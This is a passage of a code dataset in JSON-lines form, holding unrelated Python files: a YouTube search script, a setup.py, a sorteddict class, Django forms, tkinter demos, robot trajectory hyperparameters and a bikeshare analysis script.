maxResults=options.max_results\r\n ).execute()\r\n\r\n videos = []\r\n# channels = []\r\n# playlists = []\r\n res = []\r\n k = []\r\n v = []\r\n # Add each result to the appropriate list, and then display the lists of\r\n # matching videos, channels, and playlists.\r\n for search_result in search_response.get(\"items\", []):\r\n if search_result[\"id\"][\"kind\"] == \"youtube#video\":\r\n #videos[search_result[\"id\"][\"videoId\"]] = search_result[\"snippet\"][\"title\"]\r\n#==============================================================================\r\n videos.append(\"%s (%s)\" % (search_result[\"snippet\"][\"title\"],\r\n search_result[\"id\"][\"videoId\"]))\r\n k.append(\"%s \" % (search_result[\"id\"][\"videoId\"]))\r\n v.append(\"%s \" % (search_result[\"snippet\"][\"title\"]))\r\n#==============================================================================\r\n#==============================================================================\r\n# elif search_result[\"id\"][\"kind\"] == \"youtube#channel\":\r\n# channels.append(\"%s (%s)\" % (search_result[\"snippet\"][\"title\"],\r\n# search_result[\"id\"][\"channelId\"]))\r\n# elif search_result[\"id\"][\"kind\"] == \"youtube#playlist\":\r\n# playlists.append(\"%s (%s)\" % (search_result[\"snippet\"][\"title\"],\r\n# search_result[\"id\"][\"playlistId\"]))\r\n#==============================================================================\r\n uprint(\"Videos:\\n\", \"\\n\".join(videos), \"\\n\")\r\n uprint(\"Ks:\\n\", \"\\n\".join(k), \"\\n\")\r\n uprint(\"Vs:\\n\", \"\\n\".join(v), \"\\n\")\r\n#==============================================================================\r\n# uprint(\"Videos:\\n\", \"\\n\".join(videos), \"\\n\")\r\n# uprint(\"Channels:\\n\", \"\\n\".join(channels), \"\\n\")\r\n# uprint(\"Playlists:\\n\", \"\\n\".join(playlists), \"\\n\")\r\n#==============================================================================\r\n #s = ','.join(videos.keys())\r\n s = ','.join(k)\r\n print(\"Printing s val\", s)\r\n videos_list_response = youtube.videos().list(\r\n id=s,\r\n part='id,statistics'\r\n ).execute()\r\n #videos_list_response['items'].sort(key=lambda x: int(x['statistics']['likeCount']), reverse=True)\r\n res = pd.read_json(json.dumps(videos_list_response['items']))\r\n uprint(res)\r\n with open(\"dumpfile\", \"w\", encoding=\"utf8\") as output_file:\r\n print(\"Start of dumps\")\r\n json.dump(videos_list_response['items'], output_file)\r\n print(\"End of dumps\")\r\n\r\n jsonobj = json.dumps(videos_list_response['items'])\r\n \r\n x = json.loads(jsonobj)\r\n f = csv.writer(open(\"videos_.csv\", \"w\",newline=''))\r\n# Write CSV Header, If you dont need that, remove this line\r\n f.writerow([\"kind\", \"id\", \"viewCount\", \"hiddenSubscriberCount\", \"commentCount\",\"videoCount\",\"subscriberCount\"])\r\n for x in x:\r\n f.writerow([x[\"kind\"],\r\n x[\"id\"],\r\n x[\"statistics\"][\"viewCount\"],\r\n x[\"statistics\"][\"hiddenSubscriberCount\"],\r\n x[\"statistics\"][\"commentCount\"],\r\n x[\"statistics\"][\"videoCount\"],\r\n x[\"statistics\"][\"subscriberCount\"]])\r\n\r\nif __name__ == \"__main__\":\r\n argparser.add_argument(\"--q\", help=\"Search term\", default=\"Krittibas Bhattacharya\")\r\n argparser.add_argument(\"--max-results\", help=\"Max results\", default=50)\r\n args = argparser.parse_args()\r\n\r\n try:\r\n youtube_search(args)\r\n except HttpError as e:\r\n print (\"An HTTP error %d occurred:\\n%s\" % (e.resp.status, e.content))\r\n","sub_path":"YTSearch2.py","file_name":"YTSearch2.py","file_ext":"py","file_size_in_byte":4799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"560179599","text":"#!/usr/bin/env python\n\n\"\"\"Setup script for pyscrape.\"\"\"\n\nimport setuptools\n\nfrom scraper import __project__, __version__\n\nimport os\nif os.path.exists('README.rst'):\n README = open('README.rst').read()\nelse:\n README = \"\" # a placeholder, readme is generated on release\nif os.path.exists('README.rst'):\n CHANGES = open('CHANGES.md').read()\nelse:\n CHANGES = \"\"\n\n\nsetuptools.setup(\n name=__project__,\n version=__version__,\n\n description=\"An easy-to-use web scraping library.\",\n url='https://github.com/bshillingford/pyscrape',\n author='Brendan Shillingford',\n author_email='brendan.shillingford@cs.ox.ac.uk',\n\n packages=setuptools.find_packages(),\n\n entry_points={'console_scripts': []},\n\n long_description=(README + '\\n' + CHANGES),\n license='MIT',\n classifiers=[\n 'Development Status :: 1 - Planning',\n 'Natural Language :: English',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python :: 3.3',\n 'Programming Language :: Python :: 2.7',\n ],\n\n install_requires=[x.strip() for x in open('requirements.txt').readlines()],\n)\n\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"555586201","text":"from _sortedlist import sortedset\nimport collections\n\nclass sorteddict(collections.MutableMapping):\n __slots__ = ['_sortedkeys', '_map']\n \n def __init__(self, *args, **kw):\n self._map = dict()\n key = None\n if len(args) > 0:\n if hasattr(args[0], '__call__'):\n key = args[0]\n args = args[1:]\n elif len(args) > 1:\n raise TypeError(\"'%s' object is not callable\" %\n args[0].__class__.__name__)\n if len(args) > 1:\n raise TypeError('sorteddict expected at most 2 arguments, got %d'\n % len(args))\n self._sortedkeys = sortedset(key=key)\n self.update(*args, **kw)\n\n def __setitem__(self, key, value):\n try:\n if key not in self._map:\n self._sortedkeys.add(key)\n self._map[key] = value\n except:\n if key not in self._map:\n self._sortedkeys.discard(key)\n raise\n\n def __delitem__(self, key):\n self._sortedkeys.discard(key)\n del self._map[key]\n\n def __getitem__(self, key):\n return self._map[key]\n\n def __iter__(self):\n return iter(self._sortedkeys)\n\n def __len__(self):\n return len(self._sortedkeys)\n\n def copy(self):\n return sorteddict(self)\n\n @classmethod\n def fromkeys(cls, keys, value=None, key=None):\n if key is not None:\n rv = cls(key)\n else:\n rv = cls()\n for key in keys:\n rv[key] = value\n return rv\n\n def __repr__(self):\n return 'sorteddict(%s)' % repr(self._map)\n\n def __eq__(self, other):\n if not isinstance(other, sorteddict):\n return False\n return self._map == other._map\n","sub_path":"_sorteddict.py","file_name":"_sorteddict.py","file_ext":"py","file_size_in_byte":1809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"143603220","text":"from django import forms\n\ncolumn, row = 2, 12\nMONTH = [[0 for _ in range(column)] for _ in range(row) ]\n\ncount = 1910\ncolumn, row = 2, 113\nYEAR = [[0 for _ in range(column)] for _ in range(row) ]\n\ncolumn, row = 2, 31\nDAY = [[0 for _ in range(column)] for _ in range(row) ]\n\nclass LoginForm(forms.Form):\n username = forms.CharField(label = '姓名', max_length=10)\n password = forms.CharField(label = '密碼(出生年月日)', widget=forms.PasswordInput())\n\nclass SignupForm(forms.Form):\n \n for i in range(12):\n for j in range(2):\n MONTH[i][j] = str(i+1)\n\n for i in range(113):\n for j in range(2):\n YEAR[i][j] = str(count)\n count += 1\n \n\n for i in range(31):\n for j in range(2):\n DAY[i][j] = str(i+1)\n\n GENDER = [\n ['MAN', '男'],\n ['WOMAN', '女']\n ]\n\n username = forms.CharField(label = '姓名', max_length=10)\n year = forms.ChoiceField(label = '出生年', choices = YEAR)\n month = forms.ChoiceField(label = '月', choices = MONTH)\n day = forms.ChoiceField(label = '日', choices = DAY)\n gender = forms.ChoiceField(label = '性別', choices = GENDER)\n\n\n \n\n","sub_path":"robot/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"308786578","text":"#importing modules from tkinter\r\nfrom tkinter import*\r\nfrom tkinter import ttk\r\n\r\n#Declaring parent class called MathsQuiz\r\nclass MathsQuiz:\r\n\r\n #Use __init__ method for all widgets\r\n def __init__(self,parent):\r\n\r\n #Widgets for welcome frame\r\n \r\n self.Welcome = Frame(parent)\r\n self.Welcome.grid(row=0, column =0)\r\n\r\n self.TitleLabel = Label(self.Welcome, text = \"Welcome to Maths Quiz\",\r\n bg = \"black\", fg = \"white\", width = 20, padx = 30, pady = 10,\r\n font = (\"Time\", 14, \"bold italic\"))\r\n self.TitleLabel.grid(columnspan = 2)\r\n\r\n self.NextButton = ttk.Button(self.Welcome, text = \"Next\")\r\n self.NextButton.grid(row = 8, column = 1)\r\n\r\n #Widgets for Questions frame\r\n self.Questions = Frame(parent)\r\n self.Questions.grid(row = 0, column = 1)\r\n\r\n #Label to show the question\r\n self.QuestionsLabel = Label(self.Questions, text = \"Quiz Questions\",\r\n bg = \"black\", fg = \"white\", width = 20, padx = 30, pady = 10,\r\n font = (\"Time\", 14, \"bold italic\"))\r\n self.QuestionsLabel.grid(columnspan = 2)\r\n\r\n #Button for going to the next question\r\n self.HomeButton = ttk.Button(self.Questions, text = \"Home\")\r\n self.HomeButton.grid(row = 8, column = 1)\r\n\r\n \r\n\r\n #A function to remove the questions frame\r\n def show_Welcome(self):\r\n self.Questions.grid_remove()\r\n self.Welcome.grid()\r\n\r\n def show_Questions(self):\r\n self.Welcome.grid_remove()\r\n self.Questions.grid()\r\n\r\n show_Welcome(self)\r\n\r\n \r\n \r\n#Main routine\r\nif __name__ == \"__main__\":\r\n root =Tk()\r\n frames = MathsQuiz(root)\r\n \r\n root.title(\"Quiz\")\r\n root.mainloop()\r\n \r\n\r\n \r\n \r\n","sub_path":"MathQuiz#2.py","file_name":"MathQuiz#2.py","file_ext":"py","file_size_in_byte":1876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"166666582","text":"#code=utf-8\r\nfrom app.main.service.productservice import ProductService\r\nimport time\r\nimport uuid\r\n\r\nclass Single(type):\r\n _instance=None\r\n def __new__(cls,name,bases,attrs):\r\n if Single._instance is None:\r\n Single._instance=type.__new__(cls,name,bases,attrs)\r\n return Single._instance\r\n\r\n\r\nclass A(metaclass=Single):\r\n def __init__(self):\r\n print(\"build A\")\r\ndef testProductService():\r\n service=ProductService()\r\n product = (str(uuid.uuid1()), \"jkl\", \"1\", 34.3, \"12\", \"20180407\", \"kda.jpg\", 1, \"haoe\")\r\n productProcess = ProductService()\r\n productProcess.add_product(product)\r\n # products=service.selectProducts(1,typeName='灶',start=1,end=7)\r\n # list(products)\r\n # print(list(products))\r\n\r\n\r\n\r\nif __name__=='__main__':\r\n a=A()\r\n b=A()\r\n print(a==b)","sub_path":"myshop/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"131702817","text":"import tkinter as tk\n\nfrom math import sin, cos, pi\nfrom PIL import ImageGrab\n\n\nCANVAS_WIDTH = 400\nCANVAS_HEIGHT = 400\n# ANIMATION_FPS = 25\n\n\nclass Window:\n def __init__(self):\n self._root = tk.Tk()\n self._root.title(\"Cube\")\n self._canvas = tk.Canvas(width=CANVAS_WIDTH, height=CANVAS_HEIGHT, bg=\"white\")\n self._canvas.pack()\n\n def mainloop(self):\n self._root.mainloop()\n\n @property\n def root(self):\n return self._root\n\n @property\n def canvas(self):\n return self._canvas\n\n\nclass Point:\n def __init__(self, x, y, z):\n self._x = x\n self._y = y\n self._z = z\n\n def __repr__(self):\n return f\"Point({self._x}, {self._y}, {self._z})\"\n\n def __iter__(self):\n yield self._x\n yield self._y\n\n def __eq__(self, other):\n return self._z == other._z\n\n def __lt__(self, other):\n return self._z < other._z\n\n def rotate(self, phi, psi, theta):\n # axis x rotation\n y = self._y * cos(phi) + self._z * sin(phi)\n z = -self._y * sin(phi) + self._z * cos(phi)\n self._y = y\n self._z = z\n\n # axis y rotation\n x = self._x * cos(psi) - self._z * sin(psi)\n z = self._x * sin(psi) + self._z * cos(psi)\n self._x = x\n self._z = z\n\n # axis z rotation\n x = self._x * cos(theta) + self._y * sin(theta)\n y = -self._x * sin(theta) + self._y * cos(theta)\n self._x = x\n self._y = y\n\n return self\n\n def resize(self, scale=1):\n self._x *= scale\n self._y *= scale\n self._z *= scale\n return self\n\n def shift(self, offset=0):\n self._x += offset\n self._y += offset\n self._z += offset\n return self\n\n def shift_x(self, offset=0):\n self._x += offset\n return self\n\n def shift_y(self, offset=0):\n self._y += offset\n return self\n\n\nclass Cube:\n def __init__(self):\n # cube corners\n p1 = Point(-1, -1, -1)\n p2 = Point(1, -1, -1)\n p3 = Point(1, 1, -1)\n p4 = Point(-1, 1, -1)\n p5 = Point(-1, -1, 1)\n p6 = Point(1, -1, 1)\n p7 = Point(1, 1, 1)\n p8 = Point(-1, 1, 1)\n\n # cube faces\n g1 = [p1, p2, p3, p4]\n g2 = [p1, p5, p8, p4]\n g3 = [p3, p4, p8, p7]\n g4 = [p2, p3, p7, p6]\n g5 = [p1, p2, p6, p5]\n g6 = [p5, p6, p7, p8]\n\n self._corners = [p1, p2, p3, p4, p5, p6, p7, p8]\n self._faces = [g1, g2, g3, g4, g5, g6]\n\n def __repr__(self):\n return \"\\n\".join(map(str, self._corners))\n\n def rotate(self, phi, psi, theta):\n for corner in self._corners:\n corner.rotate(phi, psi, theta)\n return self\n\n def resize(self, scale=1):\n for corner in self._corners:\n corner.resize(scale)\n return self\n\n def shift(self, offset=0):\n for corner in self._corners:\n corner.shift(offset)\n return self\n\n def shift_x(self, offset=0):\n for corner in self._corners:\n corner.shift_x(offset)\n return self\n\n def shift_y(self, offset=0):\n for corner in self._corners:\n corner.shift_y(offset)\n return self\n\n @property\n def corners(self):\n return self._corners\n\n @property\n def faces(self):\n return self._faces\n\n\nclass Main:\n def __init__(self):\n self._index = 0\n self._phi = 0\n self._psi = 0\n self._theta = 0\n self._resize = 100\n self._shift_x = 0\n self._shift_y = 0\n self._window = Window()\n self._window.canvas.focus_force()\n self._window.canvas.bind(\"<Key>\", self._onkeypress)\n self._window.canvas.bind(\"<MouseWheel>\", self._onmousescroll)\n self._draw()\n self._window.mainloop()\n\n @staticmethod\n def _flatten_list(ls):\n return [item for sublist in ls for item in sublist]\n\n def _onkeypress(self, event):\n if event.keysym == \"Up\":\n self._phi += 0.05\n elif event.keysym == \"Down\":\n self._phi -= 0.05\n elif event.keysym == \"Left\":\n self._psi -= 0.05\n elif event.keysym == \"Right\":\n self._psi += 0.05\n\n self._draw()\n\n def _onmousescroll(self, event):\n if event.delta > 0:\n self._resize += 5\n elif event.delta < 0:\n self._resize -= 5\n\n self._draw()\n\n def _draw(self):\n self._window.canvas.delete(\"all\")\n self._cube = Cube()\n self._index += 1\n self._cube.rotate(self._phi, self._psi, self._theta)\n self._cube.resize(self._resize)\n self._cube.shift(200).shift_x(self._shift_x).shift_y(self._shift_y)\n\n self._cube.faces.sort(key=lambda x: min(x))\n\n for i, face in enumerate(self._cube.faces):\n if i < 3:\n self._window.canvas.create_polygon(self._flatten_list(face), outline=\"black\",\n fill=\"gray\", width=2, dash=(8, 4))\n else:\n self._window.canvas.create_polygon(self._flatten_list(face), outline=\"black\",\n fill=\"\", width=3)\n # self._grab_img(f\"imgs/img_{self._index:>05d}.png\") # saving in npg\n # self._window.root.after(round(1000 / ANIMATION_FPS), self._draw)\n\n def _grab_img(self, file_name):\n x = self._window.root.winfo_rootx() + self._window.canvas.winfo_x()\n y = self._window.root.winfo_rooty() + self._window.canvas.winfo_y()\n x1 = x + self._window.canvas.winfo_width()\n y1 = y + self._window.canvas.winfo_height()\n ImageGrab.grab().crop((x, y, x1, y1)).save(file_name)\n\n\nif __name__ == \"__main__\":\n main = Main()\n","sub_path":"rotating_cube/2_rotating_cube_with_key_events.py","file_name":"2_rotating_cube_with_key_events.py","file_ext":"py","file_size_in_byte":5780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"103023392","text":"\"\"\" Hyperparameters for PR2 trajectory optimization experiment. \"\"\"\nfrom __future__ import division\n\nfrom datetime import datetime\nimport os.path\n\nimport numpy as np\n\nfrom gps import __file__ as gps_filepath\nfrom gps.agent.kuka.agent_ros import AgentROS\nfrom gps.algorithm.algorithm_traj_opt import AlgorithmTrajOpt\nfrom gps.algorithm.cost.cost_fk import CostFK\nfrom gps.algorithm.cost.cost_action import CostAction\nfrom gps.algorithm.cost.cost_sum import CostSum\nfrom gps.algorithm.cost.cost_utils import RAMP_LINEAR, RAMP_FINAL_ONLY\nfrom gps.algorithm.dynamics.dynamics_lr_prior import DynamicsLRPrior\nfrom gps.algorithm.dynamics.dynamics_prior_gmm import DynamicsPriorGMM\nfrom gps.algorithm.traj_opt.traj_opt_lqr_python import TrajOptLQRPython\nfrom gps.algorithm.policy.lin_gauss_init import init_lqr\nfrom gps.gui.target_setup_gui import load_pose_from_npz\nfrom gps.proto.gps_pb2 import JOINT_ANGLES, JOINT_VELOCITIES, \\\n END_EFFECTOR_POINTS, END_EFFECTOR_POINT_VELOCITIES, ACTION, \\\n TRIAL_ARM, AUXILIARY_ARM, JOINT_SPACE\nfrom gps.utility.general_utils import get_ee_points\nfrom gps.gui.config import generate_experiment_info\n\n\n\n# traget ee_points will always be 5.00000, 0.00000, 1.00000\n\n'''\ninitial \nee_pts ee_rot matrix corresponding joint angle values\n\n[3.00000, 0.00000, 0.200000] [[ 6.72237407e-01 7.40335646e-01 -2.23867536e-06]\n [ -7.40335646e-01 6.72237407e-01 -9.04747375e-07]\n [ 8.35104587e-07 2.26557620e-06 1.00000000e+00]] -1.2542645618626148e-08, 1.2455451747150714, \n -0.596693755600862, -2.0551116808320558e-07, \n -0.6488516601963393, -6.283185291061267\nee-tgt = [5.0000, 0.00000, 2.0000]\n\n'''\n\n\n\nEE_POINTS = np.array([[0.02, -0.025, 0.05], [0.02, -0.025, -0.05],\n [0.02, 0.05, 0.0]])\n\n# Changed the sensor dimensions\nSENSOR_DIMS = {\n JOINT_ANGLES: 6,\n # JOINT_VELOCITIES: 6,\n END_EFFECTOR_POINTS: 3,\n # END_EFFECTOR_POINT_VELOCITIES: 3 * EE_POINTS.shape[0],\n ACTION: 3,\n}\n\n# Changed the value to 6\nPR2_GAINS = np.array([1.00, 1.00, 1.00])\n\nBASE_DIR = '/'.join(str.split(gps_filepath, '/')[:-2])\nEXP_DIR = BASE_DIR + '/../experiments/pr2_example/'\n\nx0s = []\nee_tgts = []\nreset_conditions = []\n\ncommon = {\n 'experiment_name': 'my_experiment' + '_' + \\\n datetime.strftime(datetime.now(), '%m-%d-%y_%H-%M'),\n 'experiment_dir': EXP_DIR,\n 'data_files_dir': EXP_DIR + 'data_files/',\n 'target_filename': EXP_DIR + 'target.npz',\n 'log_filename': EXP_DIR + 'log.txt',\n 'conditions': 1,\n}\n\n# TODO(chelsea/zoe) : Move this code to a utility function\n# Set up each condition.\nfor i in xrange(common['conditions']):\n\n # ja_x0, ee_pos_x0, ee_rot_x0 = load_pose_from_npz(\n # common['target_filename'], 'trial_arm', str(i), 'initial'\n # )\n # ja_aux, _, _ = load_pose_from_npz(\n # common['target_filename'], 'auxiliary_arm', str(i), 'initial'\n # )\n # _, ee_pos_tgt, ee_rot_tgt = load_pose_from_npz(\n # common['target_filename'], 'trial_arm', str(i), 'target'\n # )\n ja_x0 = np.array([-1.2542645618626148e-08, 1.2455451747150714, -0.596693755600862, -2.0551116808320558e-07, -0.6488516601963393, -6.283185291061267])\n x0 = np.zeros(9)\n x0[:6] = ja_x0\n ee_pos_x0 = np.array([3.00000, 0.00000, 0.200000])\n # ee_rot_x0 = np.array([[[ 6.72237407e-01 7.40335646e-01 -2.23867536e-06]\n # [ -7.40335646e-01 6.72237407e-01 -9.04747375e-07]\n # [ 8.35104587e-07 2.26557620e-06 1.00000000e+00]]])\n # x0[6:(6+3*EE_POINTS.shape[0])] = np.ndarray.flatten(\n # get_ee_points(EE_POINTS, ee_pos_x0, ee_rot_x0).T\n # )\n\n x0[6:9] = ee_pos_x0\n\n\n\n ee_pos_tgt = np.array([1.0000, 0.00000, 2.0000])\n # ee_rot_tgt = np.array([[[ 6.72237407e-01 7.40335646e-01 -2.23867536e-06]\n # [ -7.40335646e-01 6.72237407e-01 -9.04747375e-07]\n # [ 8.35104587e-07 2.26557620e-06 1.00000000e+00]]])\n # ee_tgt = np.ndarray.flatten(\n # get_ee_points(EE_POINTS, ee_pos_tgt, ee_rot_tgt).T\n # )\n\n # aux_x0 = np.zeros(7)\n # aux_x0[:] = ja_aux\n\n reset_condition = {\n TRIAL_ARM: {\n 'mode': JOINT_SPACE,\n 'data': x0[0:6],\n },\n # AUXILIARY_ARM: {\n # 'mode': JOINT_SPACE,\n # 'data': aux_x0,\n # },\n }\n\n x0s.append(x0)\n ee_tgts.append(ee_pos_tgt)\n reset_conditions.append(reset_condition)\n\n\nif not os.path.exists(common['data_files_dir']):\n os.makedirs(common['data_files_dir'])\n\nagent = {\n 'type': AgentROS,\n 'dt': 0.05,\n 'conditions': common['conditions'],\n 'T': 30, #need to change this value as well\n 'x0': x0s,\n 'ee_points_tgt': ee_tgts,\n 'reset_conditions': reset_conditions,\n 'sensor_dims': SENSOR_DIMS,\n 'state_include': [JOINT_ANGLES, END_EFFECTOR_POINTS], #Changed the dimensions here as well\n 'end_effector_points': ee_pos_x0,\n 'obs_include': [],\n}\n\nalgorithm = {\n 'type': AlgorithmTrajOpt,\n 'conditions': common['conditions'],\n 'iterations': 10,\n}\n\nalgorithm['init_traj_distr'] = {\n 'type': init_lqr,\n 'init_gains': 1.0 / PR2_GAINS,\n 'init_acc': np.zeros(SENSOR_DIMS[ACTION]),\n 'init_var': 1.0,\n 'stiffness': 0.5,\n 'stiffness_vel': 0.25,\n 'final_weight': 50,\n 'dt': agent['dt'],\n 'T': agent['T'],\n}\n\ntorque_cost = {\n 'type': CostAction,\n 'wu': 5e-3 / PR2_GAINS,\n}\n\nfk_cost1 = {\n 'type': CostFK,\n # Target end effector is subtracted out of EE_POINTS in ROS so goal\n # is 0.\n 'target_end_effector': ee_pos_tgt,\n 'wp': np.ones(SENSOR_DIMS[END_EFFECTOR_POINTS]),\n 'l1': 0.1,\n 'l2': 0.0001,\n 'ramp_option': RAMP_LINEAR,\n}\n\nfk_cost2 = {\n 'type': CostFK,\n 'target_end_effector': ee_pos_tgt,\n 'wp': np.ones(SENSOR_DIMS[END_EFFECTOR_POINTS]),\n 'l1': 1.0,\n 'l2': 0.0,\n 'wp_final_multiplier': 10.0, # Weight multiplier on final timestep.\n 'ramp_option': RAMP_FINAL_ONLY,\n}\n\nalgorithm['cost'] = {\n 'type': CostSum,\n 'costs': [torque_cost, fk_cost1, fk_cost2],\n 'weights': [1.0, 1.0, 1.0],\n}\n\nalgorithm['dynamics'] = {\n 'type': DynamicsLRPrior,\n 'regularization': 1e-6,\n 'prior': {\n 'type': DynamicsPriorGMM,\n 'max_clusters': 20,\n 'min_samples_per_cluster': 40,\n 'max_samples': 20,\n },\n}\n\nalgorithm['traj_opt'] = {\n 'type': TrajOptLQRPython,\n}\n\nalgorithm['policy_opt'] = {}\n\nconfig = {\n 'iterations': algorithm['iterations'],\n 'common': common,\n 'verbose_trials': 0,\n 'agent': agent,\n 'gui_on': True,\n 'algorithm': algorithm,\n 'num_samples': 5,\n}\n\ncommon['info'] = generate_experiment_info(config)\n","sub_path":"experiments/kuka_arm_example/hyperparams.py","file_name":"hyperparams.py","file_ext":"py","file_size_in_byte":7061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"11916963","text":"\"\"\"\nThis is bike share project for Programming for Data Science with Python-Udacity course\n\"\"\"\n\n#import libraries needed for project\n\nimport time\nimport pandas as pd\nimport numpy as np\n\nCITY_DATA = { 'chicago': 'chicago.csv',\n 'new york city': 'new_york_city.csv',\n 'washington': 'washington.csv' }\n\ndef get_filters():\n \"\"\"\n Asks user to specify a city, month, and day to analyze.\n\n Returns:\n (str) city - name of the city to analyze\n (str) month - name of the month to filter by, or \"all\" to apply no month filter\n (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n \"\"\"\n print('Hello! Let\\'s explore some US bikeshare data!')\n # TO DO: get user input for city (chicago, new york city, washington). HINT: Use a while loop to handle invalid inputs\n\n city = input(\"Enter city (Chicago, New York City or Washington) you want to analyze: \")\n while city.lower() not in CITY_DATA.keys():\n city = input (\"Entry not valid: please enter either Chicago, New York City or Washington! \")\n\n city = city.lower()\n\n # TO DO: get user input for month (all, january, february, ... , june)\n month = input(\"Enter a month between January through June or enter 'ALL' to select all the months: \")\n months = ['january', 'february', 'march', 'april', 'may', 'june', 'all']\n\n # Check to ensure entry is valid\n while month.lower() not in months:\n month = input(\"Entry not valid: Please enter in a month between January through June or enter ALL to select all the months: \")\n\n month = month.lower()\n\n\n # TO DO: get user input for day of week (all, monday, tuesday, ... sunday)\n\n dow = input(\"Enter a day of the week (i.e. Monday, Tuesday..., Sunday) or enter ALL to choose the whole week: \")\n days_of_week = ['monday', 'tuesday', 'wednesday' , 'thursday', 'friday', 'saturday', 'sunday', 'all']\n\n # check to ensure entry is valid\n while dow.lower() not in days_of_week:\n dow = input(\"Entry not valid: Please enter oa day of the week (i.e. Monday, Tuesday..., Sunday) or enter ALL to choose the whole week:\")\n\n day = dow.lower()\n\n\n print('-'*40)\n return city, month, day\n\n\ndef load_data(city, month, day):\n \"\"\"\n Loads data for the specified city and filters by month and day if applicable.\n\n Args:\n (str) city - name of the city to analyze\n (str) month - name of the month to filter by, or \"all\" to apply no month filter\n (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n Returns:\n df - Pandas DataFrame containing city data filtered by month and day\n \"\"\"\n # load data file into a dataframe\n df = pd.read_csv(CITY_DATA[city])\n\n # convert the Start Time column to datetime\n df['Start Time'] = pd.to_datetime(df['Start Time'])\n\n # extract month and day of week from Start Time to create new columns\n df['month'] = df['Start Time'].dt.month\n df['day_of_week'] = df['Start Time'].dt.weekday_name\n\n # filter by month if applicable\n if month != 'all':\n # use the index of the months list to get the corresponding int\n months = ['january', 'february', 'march', 'april', 'may', 'june']\n month = months.index(month) + 1\n\n # filter by month to create the new dataframe\n df = df[df['month'] == month]\n\n # filter by day of week if applicable\n if day != 'all':\n # filter by day of week to create the new dataframe\n df = df[df['day_of_week'] == day.title()]\n\n\n\n return df\n\n\ndef time_stats(df):\n \"\"\"Displays statistics on the most frequent times of travel.\"\"\"\n\n print('\\nCalculating The Most Frequent Times of Travel...\\n')\n start_time = time.time()\n\n ## convert the Start Time column to datetime\n df['Start Time'] = pd.to_datetime(df['Start Time'])\n\n # TO DO: display the most common month\n df['month'] = df['Start Time'].dt.month # extract month\n try:\n top_month = df['month'].value_counts().idxmax() #most common month\n print(\"The most common month for bike rentals is: {}\".format(top_month))\n except ValueError:\n pass\n\n\n\n # TO DO: display the most common day of week\n df['day_of_week'] = df['Start Time'].dt.dayofweek # extract day of week\n top_day = df['day_of_week'].value_counts().idxmax() # most popular day\n print(\"The most frequent day for bike rentals is: {}\".format(top_day))\n\n\n # TO DO: display the most common start hour\n df['hour'] = df['Start Time'].dt.hour # extract hour\n popular_hour = df['hour'].value_counts().idxmax() # most popular hour\n print(\"The most popular hour to rent bikes is: {}\".format(popular_hour))\n\n\n\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\n\ndef station_stats(df):\n \"\"\"Displays statistics on the most popular stations and trip.\"\"\"\n\n print('\\nCalculating The Most Popular Stations and Trip...\\n')\n start_time = time.time()\n\n # TO DO: display most commonly used start station\n top_start = df['Start Station'].value_counts().idxmax()\n\n # TO DO: display most commonly used end station\n top_end = df['End Station'].value_counts().idxmax()\n\n print(\" The most common Start Station is: {}\\n The most common End Station is: {}\".format(top_start, top_end))\n\n\n # TO DO: display most frequent combination of start station and end station trip\n max_route=df.groupby(['Start Station', 'End Station']).size().nlargest(1)\n print(\"\\n\\n The most frequent route for start station and end station is:\\n{} \\n \".format(max_route.to_string()))\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\n\ndef trip_duration_stats(df):\n \"\"\"Displays statistics on the total and average trip duration.\"\"\"\n\n print('\\nCalculating Trip Duration...\\n')\n start_time = time.time()\n\n df['Start Time'] = pd.to_datetime(df['Start Time'])\n df['End Time'] = pd.to_datetime(df['End Time'])\n df['Duration'] = df['End Time'].subtract(df['Start Time'])\n\n\n # TO DO: display total travel time\n total_travel_time = df['Duration'].sum()\n\n # TO DO: display mean travel time\n mean_travel_time = df['Duration'].mean()\n\n print(\" Total travel time for all trips is: {} \\n Mean travel time is: {}\".format(total_travel_time, mean_travel_time))\n\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\n\ndef user_stats(df):\n \"\"\"Displays statistics on bikeshare users.\"\"\"\n\n print('\\nCalculating User Stats...\\n')\n start_time = time.time()\n\n # TO DO: Display counts of user types\n user_types = df['User Type'].value_counts()\n print(user_types.to_string())\n\n\n\n # TO DO: Display counts of gender\n if 'Gender' in df.columns:\n gender = df['Gender'].value_counts()\n print(gender.to_string())\n\n\n # TO DO: Display earliest, most recent, and most common year of birth\n if 'Birth Year' in df.columns:\n earliest = int(df['Birth Year'].min())\n recent = int(df['Birth Year'].max())\n common_year = int(df['Birth Year'].mode())\n\n print(\" The earliest year of birth is: {}\\n The most recent year of birth is: {}\\n The most common year of birth is: {}\".format(earliest, recent, common_year))\n\n\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\ndef display_data(df):\n index=0\n user_input=input('would you like to display 5 rows of raw data? (Yes/No) ').lower()\n while user_input in ['yes','y'] and index+5 < df.shape[0]:\n print(df.iloc[index:index+5])\n index += 5\n user_input = input('would you like to display 5 more rows of raw data? ').lower()\n\n\ndef main():\n while True:\n city, month, day = get_filters()\n df = load_data(city, month, day)\n\n time_stats(df)\n station_stats(df)\n trip_duration_stats(df)\n user_stats(df)\n\n\n 